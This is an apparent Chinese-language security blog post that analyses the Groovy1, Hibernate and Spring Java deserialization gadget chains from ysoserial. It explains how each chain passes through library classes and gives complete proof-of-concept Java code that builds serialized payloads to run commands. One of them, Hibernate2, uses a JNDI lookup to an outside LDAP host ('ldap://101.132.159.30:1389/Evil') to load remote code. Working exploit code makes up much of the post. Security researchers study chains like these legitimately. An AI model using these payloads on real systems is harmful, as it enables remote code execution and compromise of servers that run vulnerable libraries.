Diggid's Blog

Java 反序列化Gadgets分析 - Groovy/Hibernate/Spring

字数统计: 4.7k阅读时长: 20 min
2021/09/14 Share

前言

近期想补完yso的所有链子,然后做一部分总结,之前只跟了CC/CB/JDK的链,打存在漏洞的组件的时候CC5/CB/CC6/Jdk7u21/Jdk8u2都比较好用,所以跟链子的目的除了知道链子本身,还要发散链子可拓宽可复用的点、以及链子之间的一些联系、以及在实战中合理用链

Groovy1

此链用到了动态代理(即CC1的前半部分),后半部分调用MethodClosure#call来执行任意类方法,同时用到了Groovy中"".execute的特性来执行命令

前置

MethodClosure

这个类是方法闭包,相当于调用方法的一个封装,有点类似于MethodUtil这样的反射封装类,其类关系如下

image-20210914204635765

该类中两个可以执行任意类方法的方法。

  • call

该方法是继承Closure的,底层还是通过Method.invoke来执行,具体的封装细节就不多说了,和其他方法封装类差不多,只要知道方法名、方法所属类、参数,就可以实现一个方法的调用。注意其参数Object... args,所以我们传参要多套一层new Object[]{args},否则会出现调用其他参数类型的重载方法的情况,因为底层获取方法(知道方法名)是根据参数类型来匹配的

image-20210914204931365

  • doCall

这个就比较间接,细节就不多说了,看下参数的对应关系,这里的getOwner获取的是this.owner,对应构造方法的第一个参数,代表方法所属的类对象

image-20210914205147205

所以我们可以通过如下方式调用一个方法

1
2
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call(new Object[]{new String[]{"open", "/System/Applications/Calculator.app"}})

不带参的call

在Groovy中,支持以下执行命令的方式,也就是说,执行命令可以直接String.excute()

1
'whoami'.execute()

对应到java中的处理类是org.codehaus.groovy.runtime.ProcessGroovyMethods

image-20210914210159158

注意,这个execute方法有很多个重载,和实际的exec方法参数相匹配,所以也支持new String[]{}的参数形式

image-20210914210505394

结合前面说的MethodClosure#call,我们可以通过如下方式执行命令

1
2
MethodClosure mc = new MethodClosure(new String[]{"open", "/System/Applications/Calculator.app"}, "execute");
mc.call()

可以发现,这里的call方法相较于之前的不需要参数,增加了我们连接链子的灵活性。

ConvertedClosure

该类的类图如下:

image-20210914211210144

可以看到其继承的父类实现了InvocationHandler,所以该类可以用来作为动态代理的handler,这点很关键。

再看一下其构造方法和父类中定义的invoke方法

image-20210914211504448

image-20210914212150310

image-20210914211830479

前面的plugin部分不用管,这里的checkMethod是判断method所属的类对象是否是Object,再跟进一下子类重写的invokeCustom方法

image-20210914212003505

可以看到getDelegate()获取的就是构造方法传入的Closure,调用Closure.call来执行。

也就是说这个handler在内部是委托给Closure.call去执行处理了。这样和前面的MethodClosure就接起来了。

有了一个可控的handler链,自然会想到复用CC1的AnnotationInvocationHandler来作为source了。

利用链

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Proxy.entrySet()
ConvertedClosure.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

这里也就体现了不带参call的作用,因为entrySet()方法是无参的,因此参数传递不下来,所以执行的call只能是不带参的。如果把这条链用在带groovy依赖的XStream中,就可以调用带参的了。

  • Source:sun.reflect.annotation.AnnotationInvocationHandler#readObject() -> Map#entrySet
  • Chain:org.codehaus.groovy.runtime.ConvertedClosure#invoke()
  • Sink:org.codehaus.groovy.runtime.MethodClosure#call()

POC

依赖:

  • groovy核心包即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure methodClosure = new MethodClosure(new String[]{"open", "/System/Applications/Calculator.app"}, "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");

HashMap hm = new HashMap();
Map proxy = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, convertedClosure);

InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance(
"sun.reflect.annotation.AnnotationInvocationHandler",
Override.class, proxy
);

String filename = "src/main/java/gadgets/groovy/exp.bin";
Serializer.writeToFile(filename, invocationHandler);
Serializer.readFromFile(filename);
}
}

Hibernate

前置

BasicPropertyAccessor - 调用任意getter

该类的类图如下

image-20210915102621070

PropertyAccessor接口是一个定义了获取类属性值策略的类,其中有两个方法getGettergetSetter。传入两个参数,Class对象和要获取的属性名。返回org.hibernate.property.Getterorg.hibernate.property.Setter 对象

BasicPropertyAccessor是该接口的一个标准实现类。其中定义了两个内部类BasicSetterBasicGetter,就是getGettergetSetter方法需要返回的子类

这个关注一下BasicGetter,根据构造方法的参数列表和get方法,可以知道构造方法接受类、方法、属性名三个参数,通过这三个参数可以获取到一个属性确切的getter。而get方法则是对某个具有该属性的类调用其对应getter

image-20210915103818827

回看BasicPropertyAccessor,其实现了getGetter方法,而该方法继续调用createGetter -> getGetterOrNull来获取,具体看一下getGetterOrNull,其接受类、属性名两个参数,根据这两个参数以及getter方法的命名逻辑,可以获取该类属性的getter

image-20210915104646033

继续看一下getterMethod方法。处理逻辑很简单:

  • 调用 Class 的 getDeclaredMethods 方法获取全部方法
  • getter 方法不应该有参数,如果 Method 的参数类型数量不等于0,则跳过
  • 如果方法类型是 BRIDGE,则跳过
  • 获取方法名,如果以 get 或 is 开头,则可能为 getter 方法,减掉前缀后进行字符串的对比,在 Introspector.decapitalize() 方法中还进行的首字母大小写的处理。所以这里是根据属性名匹配的getter,因此如果有一些getter不按常理出牌,比如TemplatesImpl里面的一些getter,那就没办法获取到了。

所以这里我们就可以通过BasicPropertyAccessor获取BasicGetter,调用BasicGetter#get()触发任意getter的调用,这里最常用的就是两条原生的getter链

  • TemplatesImpl#getOutputProperties
  • JdbcRowSetImpl#getDatabaseMetaData

所以我们的目标就是找到哪里调用了Getter#get

AbstractComponentTuplizer - 寻找Chain

抽象类org.hibernate.tuple.component.AbstractComponentTuplizer定义了getPropertyValue(s)setPropertyValue(s)用于GetterSetter的调用

image-20210915110027259

其成员变量getters用于保存一个类的getter数组,所以这里可以作为我们的连接点。该抽象类有PojoComponentTuplizer子类,虽然重写了getPropertyValues方法但没有破坏逻辑。

image-20210915110343739

那么我们继续找下一个连接点,看哪里调用了getPropertyValuesgetPropertyValue

可以看到org.hibernate.type.ComponentType#getHashCode方法中有调用,并且ComponentType的其他方法中也有调用

image-20210915111309010

image-20210915130908819

TypedValue - 回溯hashCode

org.hibernate.engine.spi.TypedValue 类是一个 final class,用来映射一个 Object 的值和对应的 Hibernate type。Hibernate 中定义了一个自己的类型接口 org.hibernate.type.Hibernate.Type,用来定义 Java 类型和一个或多个 JDBC 类型之间的映射

ComponentTypeType类的实现类,可以被保存在TypedValue中作为映射目标Type。

TypedValue类的readObject方法中,调用了initTransients方法

image-20210915111858295

该方法中定义了一个ValueHolder赋值给成员变量hashCode。而ValueHolder构造方法接受个ValueHolder$DeferredInitializer,该类重写了initialize方法,可以看到,调用了type.getHashCode( value );,且type和value作为成员变量都是可控的,这样就可以顺利的传递给ComponentType#getHashCode()方法

哪里又调用DeferredInitializer#initialize方法呢?注意到hashCode()方法

image-20210915112247734

image-20210915112324619

看到这里基本上链子就成了,也就是hashCode -> ValueHolder#getValue -> DeferredInitializer#initialize

所以这是一条需要hashCode链来连接的后半部分链。hashCode可太多了,复用CC6的即可。HashMap#hashCode

版本差异

在hibernate不同的版本中,以4/5版本作为区分,出现了部分类的更替,影响了链子的部分地方,在ysoserial中也可以看到。具体如下:

  • get链替换
    • 版本4:BasicPropertyAccessor$BasicGetter#get()
    • 版本5:GetterMethodImpl.get()
  • getPropertyValue链替换
    • 版本4/5:PojoComponentTuplizer#getPropertyValue()
    • 版本3:用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping对PojoComponentTuplizer进行封装。由于版本3过于久远,这里就不写在POC里了。

利用链

1
2
3
4
5
6
7
8
9
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder$DeferredInitializer.initialize()
ComponentType.getHashCode()
ComponentType.getPropertyValue()
PojoComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()/JdbcRowSetImpl.getDatabaseMetaData()
  • Source:HashMap#readObject() -> ValueHolder#hashCode()
  • Chain:
    • ValueHolder#getValue() -> ValueHolder$DeferredInitializer.initialize()
    • ComponentTyp#getHashCode()
    • PojoComponentTuplizer#getPropertyValue()
    • BasicPropertyAccessor$BasicGetter#get() / GetterMethodImpl#get()
  • Sink:任意有属性对应的getter
    • TemplatesImpl#getOutputProperties()
    • JdbcRowSetImpl#getDatabaseMetaData()

POC

依赖:

  • org.hibernate:hibernate-core:4.3.11.Final
  • org.jboss.logging:jboss-logging:3.3.0.Final
  • org.jboss.spec.javax.transaction:jboss-transaction-api_1.2_spec:1.0.0.Final
  • dom4j:dom4j:1.6.1

Hibernate1

注意一下链子间参数的传递,保证最后的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class Hibernate1 {
public static void main(String[] args) throws Exception {
// Sink类
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");
Method method = Reflections.getMethod(templates.getClass(), "getOutputProperties");

// 存在BasicGetter中
Object getter = Reflections.newInstance("org.hibernate.property.BasicPropertyAccessor$BasicGetter", new Object[]{templates.getClass(), method, "outputProperties"});

// 存在PojoComponentTuplizer中
Object tuplizer = Reflections.getObject("org.hibernate.tuple.component.PojoComponentTuplizer");
Reflections.setArrayFieldValue(tuplizer, "getters", new Object[]{getter});

// 存在org.hibernate.type.ComponentType中
Type componentType = (Type) Reflections.getObject("org.hibernate.type.ComponentType");
Reflections.setFieldValue(componentType, "propertySpan", 1);
Reflections.setFieldValue(componentType, "componentTuplizer", tuplizer);
Reflections.setFieldValue(componentType, "propertyTypes", new Type[]{componentType});
// 存在TypedValue中
TypedValue typedValue = new TypedValue(componentType, null);
Reflections.setFieldValue(typedValue, "type", componentType);

// 存到HashMao中
HashMap hm = new HashMap();
hm.put(typedValue, "diggid");

// 最后再设置value,防止触发
Reflections.setFieldValue(typedValue, "value", templates);
Serializer.writeToFile("src/main/java/gadgets/hibernate/exp.bin", hm);
Serializer.readFromFile("src/main/java/gadgets/hibernate/exp.bin");
}
}

Hibernate2

JdbcRowSetImpl的触发方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Hibernate2 {
public static void main(String[] args) throws Exception {
// Sink类
String dataSource = "ldap://101.132.159.30:1389/Evil";
Object jdbc = Reflections.getObject("com.sun.rowset.JdbcRowSetImpl");
Reflections.setFieldValue(jdbc, "conn", null);
Reflections.setFieldValue(jdbc, "dataSource", dataSource);
Method method = Reflections.getMethod(jdbc.getClass(), "getDatabaseMetaData");

// 存在BasicGetter中
Object getter;
try {
getter = Reflections.newInstance("org.hibernate.property.BasicPropertyAccessor$BasicGetter", new Object[]{jdbc.getClass(), method, "outputProperties"});
}catch (Exception ignored){
Class getterCls = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor ctr = getterCls.getDeclaredConstructors()[0];
ctr.setAccessible(true);
getter = ctr.newInstance(null, null, method);
}

// 存在PojoComponentTuplizer中
Object tuplizer = Reflections.getObject("org.hibernate.tuple.component.PojoComponentTuplizer");
Reflections.setArrayFieldValue(tuplizer, "getters", new Object[]{getter});

// 存在org.hibernate.type.ComponentType中
Type componentType = (Type) Reflections.getObject("org.hibernate.type.ComponentType");
Reflections.setFieldValue(componentType, "propertySpan", 1);
Reflections.setFieldValue(componentType, "componentTuplizer", tuplizer);
// 必须要设置这个为本身,否则后续会爆null错
Reflections.setFieldValue(componentType, "propertyTypes", new Type[]{componentType});
// 存在TypedValue中
TypedValue typedValue = new TypedValue(componentType, null);
Reflections.setFieldValue(typedValue, "type", componentType);

// 存到HashMao中
HashMap hm = new HashMap();
hm.put(typedValue, "diggid");

// 最后再设置value,防止触发
Reflections.setFieldValue(typedValue, "value", jdbc);
Serializer.writeToFile("src/main/java/gadgets/hibernate/exp.bin", hm);
Serializer.readFromFile("src/main/java/gadgets/hibernate/exp.bin");
}
}

后续

  1. 如何减少依赖?

可以发现hibernate这条链子的依赖十分复杂,不仅依赖原来hibernate的包,还依赖了jboss的相关包以及其他两个包,利用起来不是很优雅,所以还得看看有什么办法可以减少依赖,像无依赖的CB链一样,可能我们还需要替换掉多余依赖的部分链子来减少依赖。

Spring

前置

ReflectionUtils

这是Spring中内置的一个反射工具类,我们可以通过下面的方式来执行任意类方法

1
2
Method method = ReflectionUtils.findMethod(Class objCls, String methodName);
ReflectionUtils.invokeMethod(Method method, Object obj);
  • findMethod:根据已知类的方法名寻找无参方法,特别注意只能是无参的。

image-20210916101145124

image-20210916101154436

  • invokeMethod:调用任意类的一个无参public方法

image-20210916101332027

MethodInvokeTypeProvider

这是一个内部类org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider,实现了TypeProvider,有readObject方法,看一下

image-20210916101434991

可以发现其中有我们上面说的findMethodinvokeMethod,所以这里我们只需要控制

  • this.provider.getType()为目标类,比如TemplatesImpl
  • this.methodName为目标方法,如newTransformer

再看动态代理

动态代理大家肯定都不陌生,从CC1链就开始用了,AnnotationInvocationHandler是动态代理Gadgets中最常用的一个。动态代理最直观的概念就是相当于一个拦截器,代理对象调用了被代理接口的方法后,会委托给handler#invoke去执行。而在执行的过程中,可能触发一些其他类方法的调用,比如CC1的,就是从AnnotationInvocationHandler#readObject -> proxy(Map)#entrySet -> AnnotationInvocationHandler#invoke -> 任意Map类的get方法,实现了一个从HashMap到任意Map类之间的跳转,这对构造Gadgets的灵活性来说是十分有用的。

那动态代理的作用仅仅于此了吗?继续看一下下面两个分析

Proxy的作用

直接上例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Test接口,被代理
public interface Test {
Test getTest();
}

// handler
public class TestInvocationHandler implements InvocationHandler {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return new HashMap();
}
}

// Main
public class Main {
public static void main(String[] args) throws Exception{
TestInvocationHandler handler = new TestInvocationHandler();
Test proxy = (Test) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Test.class}, handler);
System.out.println(Arrays.toString(proxy.getClass().getDeclaredMethods()));
// System.out.println(proxy.getTest());
}
}

这里用TestInvocationHandler代理了Test接口(有一个getTest)方法,现在我们测试一下获取代理对象proxy的所有方法

1
2
3
4
System.out.println(Arrays.toString(proxy.getClass().getDeclaredMethods()));

// 输出
[public final boolean sun.proxy.$Proxy0.equals(java.lang.Object), public final java.lang.String sun.proxy.$Proxy0.toString(), public final int sun.proxy.$Proxy0.hashCode(), public final gadgets.spring.Test sun.proxy.$Proxy0.getTest()]

可以看到除了继承Object的方法外,还有Test接口的方法getTest

也就是说代理对象是持有被代理接口的所有方法的,且能够cast成被代理接口的

AnnotationInvocationHandler控制返回任意对象(被代理方法的子类)

还是上面的示例代码,这里我们让代理对象调用getTest方法

1
System.out.println(proxy.getTest());

会出现如下报错

image-20210916104804900

invoke方法返回的是个HashMap,而我们getTest方法返回的是Test接口类型,所以无法cast。很奇怪的一点是,代理类调用方法转到handler#invoke方法处理,这之间并不是完全失去联系的

也就是说,invoke方法的返回值并不能是任意的,最终是取决于被代理方法的返回值的。可以这么理解,代理类调用被代理方法,委托给hanlder#invoke执行,invoke执行完后返回,还是要经过被代理方法才能返回的,所以返回值是由被代理方法控制的

那说上面这些有啥意义呢?

我们再来看一下AnnotationInvocationHandler到底是干啥用的,前面说到AnnotationInvocationHandler#invoke可以连接任意Map类的get方法,但其实,本来的作用是返回成员变量memberValues(Map)的对应键值的。

所以这里我们能够控制来返回回任意对象,结合前面说的,这里的”任意”还取决于被代理方法的返回值

image-20210916105739376

image-20210916105628679

所以再回到这条链子来,我们可以让前面说的this.provider.getType()返回一个代理对象,其中代理了Templates接口和Type接口(为了能够cast成getType的返回值),而this.methodName是newTransformer,但这样我们还是执行不了,因为在invokeMethod中是对代理对象调用的newTransformer方法。如果此时我们还能找到一个handler,这个handler中出现了method.invoke(obj,args)的反射调用,而method一般是被代理的方法,obj我们可控为TemplatesImpl的话,那么我们就能够执行了(至于args,一般来说也是传入被代理方法的参数,但也不一定,对于这个链子来说不重要,提一下)

再提一下,如果已经理解前面的内容,就会理解这里为什么this.provider.getType()不能直接返回TemplatesImpl了。

两个handler

ObjectFactoryDelegatingInvocationHandler

好巧不巧,在spring-beans这个依赖包中,正好有一个handler类满足我们上面对handler的需求,这玩意是个内部类

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler

image-20210916111601782

this.objectFactory.getObject()看一下ObjectFactory接口的getObject方法,返回的是一个泛型,那就没有前面说的返回值的限制了,可以返回任意对象,所以这里我们如法炮制this.objectFactory.getObject()返回TemplatesImpl就好了。

image-20210916111715619

JdkDynamicAopProxy

这个又是另一个依赖包的东西了,是spring-aop依赖包里的,因此构成了第二条链子Spring2。和前面的handler作用一样,但有一些细节不一样:

  • 获取TemplatesImpl不需要AnnotationInvocationHandler了,只需设置this.advised即可
  • 执行的方法可以是非public的,因为调用了ReflectionUtils.makeAccessible(method);

这里我们设置this.advisedAdvisedSupport,调用其setTarget方法来设置target和targetSource。

![image-20210916143904773](/Users/a861881/Library/Application Support/typora-user-images/image-20210916143904773.png)

image-20210916143945125

image-20210916135312537

利用链

1
2
3
4
5
6
7
8
9
10
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
|SerializableTypeWrapper.TypeProvider(Proxy).getType() -> AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod() -> Templates(Proxy).newTransformer()
AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke()
|ObjectFactory(Proxy).getObject() -> AnnotationInvocationHandler.invoke()
TemplatesImpl.newTransformer()
+
org.springframework.aop.framework.JdkDynamicAopProxy#invoke()
org.springframework.aop.support.AopUtils#invokeJoinpointUsingReflection
TemplatesImpl.newTransformer()

|表示在这个方法中执行的语句,而不是继续深入,+表示从这一层开始的另一条链子

这个链子不长,但是有3处用到动态代理的地方,比较有意思

  • Source:SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
  • Chain:
    • ReflectionUtils#invokeMethod() -> Templates(Proxy)#newTransformer()
    • AutowireUtils$ObjectFactoryDelegatingInvocationHandler#invoke()
  • Sink:任意无参public方法
    • TemplatesImpl#newTransformer()
    • JdbcRowSetImpl#getDatabaseMetaData()

POC

Spring1

依赖:

  • org.springframework:spring-beans:4.1.4.RELEASE
  • org.springframework:spring-core:4.1.4.RELEASE
  • Jdk7 某个版本AnnotationInvocationHandler被修了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public class Spring1 {
public static void main(String[] args) throws Exception{
String cmd = "open /System/Applications/Calculator.app";
// poc由内往外写
//第一层: AnnoatationInvocationHandler返回TemplatesImpl
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");
HashMap hm = new HashMap();
hm.put("getObject", templates);

InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance(
"sun.reflect.annotation.AnnotationInvocationHandler",
Override.class,hm
);
// proxy代理ObjectFactory#getObject方法
ObjectFactory objectFactoryProxy = (ObjectFactory) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{ObjectFactory.class},
invocationHandler);

// 第二层:实例化ObjectFactoryDelegatingInvocationHandler传入proxy
InvocationHandler ofdHanlder = (InvocationHandler) Reflections.newInstance(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler",
objectFactoryProxy
);

// proxy代理Templates#newTransformer方法,同时代理Type接口,为了能够cast出来
Object templatesProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHanlder);

// 第三层:AnnoatationInvocationHandler返回templatesProxy
HashMap hm1 = new HashMap();
hm1.put("getType", templatesProxy);
InvocationHandler invocationHandler1 = (InvocationHandler) Reflections.newInstance(
"sun.reflect.annotation.AnnotationInvocationHandler",
Override.class,hm1
);

// proxy代理TypeProvider#getType方法
Class typeProviderCls = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderCls}, invocationHandler1);

// 将MethodInvokeTypeProvider的this.provider设置为typeProxy
Object mtp = Reflections.getObject("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Reflections.setFieldValue(mtp, "provider", typeProxy);
Reflections.setFieldValue(mtp, "methodName", "newTransformer");

Serializer.writeToFile("src/main/java/gadgets/spring/exp.bin", mtp);
Serializer.readFromFile("src/main/java/gadgets/spring/exp.bin");
}
}

Spring2

依赖:

  • org.springframework:spring-beans:4.1.4.RELEASE
  • org.springframework:spring-core:4.1.4.RELEASE
  • Jdk7 某个版本AnnotationInvocationHandler被修了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Spring2 {
public static void main(String[] args) throws Exception{
String cmd = "open /System/Applications/Calculator.app";
// poc由内往外写
//第一层: 直接赋值this.advised即可

// 初始化JdkDynamicAopProxy,设置this.advised为AdvisedSupport
Object templatesImpl = Gadgets.createTemplatesImpl(cmd);
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) Reflections.getObject("org.springframework.aop.framework.JdkDynamicAopProxy");
Reflections.setFieldValue(handler, "advised", as);

// proxy代理Templates#newTransformer方法,同时代理Type接口,为了能够cast出来
Object templatesProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, handler);

// 第三层:AnnoatationInvocationHandler返回templatesProxy
HashMap hm1 = new HashMap();
hm1.put("getType", templatesProxy);
InvocationHandler invocationHandler1 = (InvocationHandler) Reflections.newInstance(
"sun.reflect.annotation.AnnotationInvocationHandler",
Override.class,hm1
);

// proxy代理TypeProvider#getType方法
Class typeProviderCls = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderCls}, invocationHandler1);

// 将MethodInvokeTypeProvider的this.provider设置为typeProxy
Object mtp = Reflections.getObject("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Reflections.setFieldValue(mtp, "provider", typeProxy);
Reflections.setFieldValue(mtp, "methodName", "newTransformer");

Serializer.writeToFile("src/main/java/gadgets/spring/exp.bin", mtp);
Serializer.readFromFile("src/main/java/gadgets/spring/exp.bin");
}
}
CATALOG
  1. 1. 前言
  2. 2. Groovy1
    1. 2.1. 前置
      1. 2.1.1. MethodClosure
      2. 2.1.2. 不带参的call
      3. 2.1.3. ConvertedClosure
    2. 2.2. 利用链
    3. 2.3. POC
  3. 3. Hibernate
    1. 3.1. 前置
      1. 3.1.1. BasicPropertyAccessor - 调用任意getter
      2. 3.1.2. AbstractComponentTuplizer - 寻找Chain
      3. 3.1.3. TypedValue - 回溯hashCode
      4. 3.1.4. 版本差异
    2. 3.2. 利用链
    3. 3.3. POC
      1. 3.3.1. Hibernate1
      2. 3.3.2. Hibernate2
    4. 3.4. 后续
  4. 4. Spring
    1. 4.1. 前置
      1. 4.1.1. ReflectionUtils
      2. 4.1.2. MethodInvokeTypeProvider
      3. 4.1.3. 再看动态代理
        1. 4.1.3.1. Proxy的作用
        2. 4.1.3.2. AnnotationInvocationHandler控制返回任意对象(被代理方法的子类)
      4. 4.1.4. 两个handler
        1. 4.1.4.1. ObjectFactoryDelegatingInvocationHandler
        2. 4.1.4.2. JdkDynamicAopProxy
    2. 4.2. 利用链
    3. 4.3. POC
      1. 4.3.1. Spring1
      2. 4.3.2. Spring2